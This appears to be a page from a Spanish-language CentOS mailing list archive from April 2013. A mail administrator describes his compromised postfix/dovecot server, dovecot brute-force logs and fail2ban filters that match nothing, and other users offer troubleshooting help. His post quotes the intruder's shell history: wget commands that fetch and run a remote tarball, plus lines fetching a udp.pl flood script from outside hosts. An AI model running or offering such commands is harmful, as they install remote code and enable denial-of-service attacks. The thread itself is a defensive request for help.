http://lists.centos.org/mailman/listinfo/centos-es > > >> >>> > > >> >> _______________________________________________ > > >> >> CentOS-es mailing list > > >> >> CentOS-es(a)centos.org > > >> >> http://lists.centos.org/mailman/listinfo/centos-es > > >> > > > >> > > > >> > > >> _______________________________________________ > > >> CentOS-es mailing list > > >> CentOS-es(a)centos.org > > >> http://lists.centos.org/mailman/listinfo/centos-es > > > > > >_______________________________________________ > > >CentOS-es mailing list > > >CentOS-es(a)centos.org > > >http://lists.centos.org/mailman/listinfo/centos-es > > _______________________________________________ > > CentOS-es mailing list > > CentOS-es(a)centos.org > > http://lists.centos.org/mailman/listinfo/centos-es > > > ------------------------------ > > _______________________________________________ > CentOS-es mailing list > CentOS-es(a)centos.org > http://lists.centos.org/mailman/listinfo/centos-es > > > Fin de Resumen de CentOS-es, Vol 76, Envío 12 > *********************************************

1 0

apoyo
by VICTOR MANUEL VARGAS GONZALEZ 16 Apr '13

16 Apr '13

Buenos Días Antes que nada quisiera dar las gracias por recibir este email , ya que estoy empezando a usar centos 5 , Tengo el siguiente problema tengo instalado centos 5 y MailScanner-4.84.5-3 pero cuando trato de instalarlo me marca lo siguiente ( ./install.sh) ./install.sh: line 107: rpmbuild: command not found Your /usr/src/redhat, /usr/src/RPM or /usr/src/packages tree is missing. If you have access to an RPM called rpm-build or rpmbuild then install it first and come back and try again. Gracias por su apoyo

2 1

Servidor Scaneado por un diccionario de datos en postfix+dovecot
by Luis Alberto Roman Aguirre 16 Apr '13

16 Apr '13

Buenas amigos Listeros: Retomando el tema del servidor de correos, perdón por el retraso, y agradeciendo por la respuesta a:José María Terry Jiménez,Jesus Armando Uch Canu,Jose Fernández Rodríguez,Francesc Guitart ...a la LISTA en GENERAL ..y si me olvide de alguien mil disculpas. Bueno, es comento que los días posteriores fue tanto el escaneo que al final tomaron posesión de mi servidor a través de un usuario el cual borre pero nada tuve que formatear el servidor todo de cero de nuevo.Pero todo esto paso (CREO YO) , por un un usuario el cual descargo y ejecuto este archivo: wget www.csservers.ro/csservers_redirecte_linux_hlds.tar.gz tar -pxzf csservers_redirecte_linux_hlds.tar.gz ps x killall screen ps x free -m screen cd csservers_redirecte_linux_hlds ./start cd .. #wget http://y2khom3.evonet.ro/udp.pl #wget www.buble.biz/alinftp/udp.pl #wget www.packetstormsecurity.org/DoS/udp.pl #ps x #cd /tmp #ls -a #w Ahora les detallo que ingresaron por un usuario el cual hace reenvio de correos a nivel local el cual no tenia contraseña, en el nuevo servidor le puse contraseña a todos los usuarios y demas con caracteres(mayusculas,minusculas y numeros). Lo que me sorprende fue aun despues de reinstalar el centos , creo ya que me agarraron de punto , porque note que sigo siendo escaneado por la misma lista antes de la reinstalacion les copio parte y les adjunto en txt:dovecot: Authentication Failures:base: 1376 Time(s)root: 52 Time(s)postmaster rhost=190.210.136.21 : 32 Time(s)mlizana rhost=10.1.0.28 : 20 Time(s)aa rhost=113.162.161.245 : 18 Time(s)admin rhost=183.60.20.40 : 14 Time(s)mconde: 10 Time(s)test rhost=183.60.20.40 : 10 Time(s)admin1 rhost=183.60.20.40 : 8 Time(s)dedicated rhost=183.60.20.40 : 8 Time(s)html rhost=183.60.20.40 : 8 Time(s)user1 rhost=183.60.20.40 : 8 Time(s)bdsistemas: 6 Time(s) La ip segun lo investigado es de China: http://whatismyipaddress.com/ip/183.60.20.40 y salio esto:(ojo hay otro router que salio mientras escribía es este http://201.77.5.191/ de Brazil)General IP InformationIP:183.60.20.40Decimal:3074167848Hostname:183.60.20.40ISP:ChinaNet Guangdong Province NetworkOrganization:ChinaNet Guangdong Province NetworkServices:None detectedType:BroadbandAssignment:Static IPBlacklist:Geolocation InformationCountry:China State/Region:GuangdongCity:GuangzhouLatitude:23.1167 (23° 7′ 0.12″ N)Longitude:113.25 (113° 15′ 0.00″ E) Por recomendación de los ya mencionados amigos instale el fail2ban pero creo que no hace nada o bien algo estoy haciendo mal ,posteo configuracion:####Jail.conf[dovecot-pop3imap]enabled = truefilter = dovecot-pop3imapaction = iptables-multiport[name=dovecot-pop3imap, port="pop3,pop3s,imap,imaps", protocol=tcp] sendmail-whois[name=dovecot-pop3imap, dest=root, sender=user(a)xxx.xxx]logpath = /var/log/maillogmaxretry = 2#findtime = 600bantime = 5200 En la carpeta filter.d/dovecot-pop3imap.conf tengo esto:[Definition]failregex = dovecot: auth-worker$default$: sql$.*,<HOST>$: unknown user dovecot: (pop3|imap)-login: Aborted login $.*$: .*, \[<HOST>\] dovecot: (pop3|imap)-login: Disconnected $auth failed, .*$: .*, \[<HOST>\] dovecot: auth$default$: passdb$.*,<HOST>$\: Attempted login with password having illegal chars dovecot: (pop3|imap)-login: Disconnected $auth failed, .*$: .*, \[<HOST>\] dovecot: (pop3|imap)-login: Aborted login: .*, \[<HOST>\]ignoreregex = La cosa que los escaneos que me hacen al dovecot el fail2ban no tiene idea de ellos, algo estoy haciendo mal?, estoy por probar el OSSEC, pero si hay otra herramienta o bien algo mas que se pueda hacer, ya que ser victima de nuevo y lo peor que me baneen en la black list para una empresa que depende del correo es lo peor que les puede suceder, hablo por la experiencia amigos. Gracias por la ayuda , por leer este mail, y por soportarme amigos, desde ya muchas gracias por sus respuestas.PDT:prometo responder como me fue , asi ayudar a alguien mas que pueda tener este problema Atte. Luis Roman

5 5

Servidor Scaneado por un diccionario de datos en postfix+dovecot
by Luis Alberto Roman Aguirre 13 Apr '13

13 Apr '13

Buenas listeros:Mi estimado Diego revise lo que me pasastes y aun nada, pero me queda la duda cuando haces la prueba con /var/log/secure eso es para todos los servicios?, porque por ejemplo para el dovecot lo hago con el /var/log/maillog, pero aun asi probe con los dos y aun nada. Y les comento que aun sigo siendo escaneado o bien ya no se que pasa. lo Hize en el pastebin... aqui esta: http://pastebin.com/v4T0rGLX esto paso ayer Jueves.Ahora el fail2ban ni lo detecto ,la configuracion del jail.conf lo pegare en pastebin: http://pastebin.com/Qna3gdgP , la parte de dovecot buscando en internet encontre una configuracion de dovecto-pop3imap, pero aun asi nada.La configuracion de filter.d/dovecot-pop3imap.conf es: http://pastebin.com/XsGErnMr. espero puedan verlos , ya que si pego por aqui el codigo sale deformado.esto sale en el testeo espero se pueda ver:[root@mail ~]# fail2ban-client statusStatus|- Number of jail: 6`- Jail list: proftpd-iptables, dovecot-pop3imap, ssh-iptables, postfix-tcpwrapper, vsftpd-notification, vsftpd-iptables[root@mail ~]# fail2ban-regex /var/log/maillog /etc/fail2ban/filter.d/dovecot-pop3imap.confRunning testsUse regex file : /etc/fail2ban/filter.d/dovecot-pop3imap.confUse log file : /var/log/maillogResultsFailregex: 0 totalIgnoreregex: 0 totalSummarySorry, no matchLook at the above section 'Running tests' which could contain importantinformation.Gracias por su tiempo estimados. Atte Luis Roman>[CentOS-es] Servidor Scaneado por un diccionario de datos>en postfix+dovecot >To: centos-es(a)centos.org >Message-ID: ><CAJ8aDpBPCXD7QPwyZzYqn8CQGt=xeeqZSf4vjKPJ3O6Y7hpCfg(a)mail.gmail.com> >Content-Type: text/plain; charset=UTF-8 > >Hola Luis >Podrías poner la config de fail2ban en algun servicio que respete los >saltos de linea? (pastebin, por ejemplo) >Asegurate de eliminar todos los datos de tu server antes... > >Comprobaste que este matcheando la regla contra el log? >Lo haces asi, obviamente, reemplazando donde haga falta> > >Mi prueba la hice contra sshd > >root@proxy ~/ # fail2ban-client status >Status <|- Number of jail: 2 <`- Jail list: apache-badUsersAuth, ssh >root@proxy ~/ # fail2ban-client status ssh >Status for the jail: ssh >|- filter >| |- File list: /var/log/secure >| |- Currently failed: 0 >| `- Total failed: 84 >`- action <|- Currently banned: 5 <| `- IP list: 200.192.153.132 115.95.166.247 119.134.244.22 <166.111.230.4 122.226.160.19 >`- Total banned: 5 >root@proxy ~/ # fail2ban-regex /var/log/secure /etc/fail2ban/filter.d/sshd.conf > >Running tests >============= > >Use regex file : /etc/fail2ban/filter.d/sshd.conf >Use log file : /var/log/secure > >[[ mucho mucho texto e ips ]] >Date template hits: >92938 hit(s): MONTH Day Hour:Minute:Second > >Success, the total number of match is 3181 > >However, look at the above section 'Running tests' which could contain important >information. >root@proxy ~/ #

3 2

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

discuss-es April 2013